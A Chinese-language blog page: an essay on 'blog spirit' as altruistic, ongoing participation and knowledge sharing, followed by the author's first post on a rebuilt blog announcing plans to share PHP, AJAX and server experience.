我们认为,博客精神是一种基于个人价值实现的一种利他行为,以确保博客组织的存续和发展,是博客人文价值观的体现,也是一种网络社会责任。因为博客精神的存在,博客就和那些散落在网络世界的个人网页区分开来,成为一种带来革命性社会影响的网络存在。

在博客精神的前提下,博客的行为特征就更具有社会意义,以下是我们对博客行为特征的归纳:

博客是行动的过程和状态。
只要停止了,就不是博客,尽管个人网页还在,博客却死亡了。行动本身博客的基本特征,这是博客精神的要求,也是博客个人价值的核心。从博客群体来说,行动是博客群体存续的依据,失去了这个依据,博客整体就不存在。

博客建立一种全新的网络人文环境。
作为博客,他既是发表者,也是阅读者,就是说,他既是一个价值的寻求者,也是价值的赋予者,这就为博客社会提供了一种全新的人文模式。在这种模式下,博客之间发生了与以为更为紧密的关系,我们将这种关系理解为一种共生的关系,是互相依存的关系。因此博客虽然是虚拟的社会,但其社会性更明确,与现实的关联度达到一个全新的层次。

博客建立了一种全新的知识链条。
博客是一种知识共享的途径,也是一种知识管理的方法。博客的发表行为,成为知识共享的过程,这些发表会聚起来,进行分类整理,在阅读、使用这些资讯,并通过评论的方式与作者互动,从而形成新的资讯、认知和知识。这些经过分类的资讯、认知和知识,形成一个庞大的知识库,为网络成员造福。

总之,博客行为和博客精神是建基于博客个人的社会价值的基础上发生的,这不是一个福利性的存在,而是人的社会价值的更高层次的实现。

新博客第一篇文章

         这个是博客的第一篇文章,纪念一下这个比较犀利的时刻,原来的博客系统由于一次系统重装把源代码丢失了,总觉得不舒服,想想还是重新建个博客吧,一个新的开始,同时记录下我的成长历程!

      我相信,我会成长起来的,我也必须成长起来,今后也会坚持发扬博客精神,把 php,ajax,服务器等web之路上的探索经验和大家分享,发扬博客精神,虽然现在的我只有一点点的能量,懂的技术也只是星半点,但是我相信,我总有一天我能走出我的web之路,体现我的自我价值的!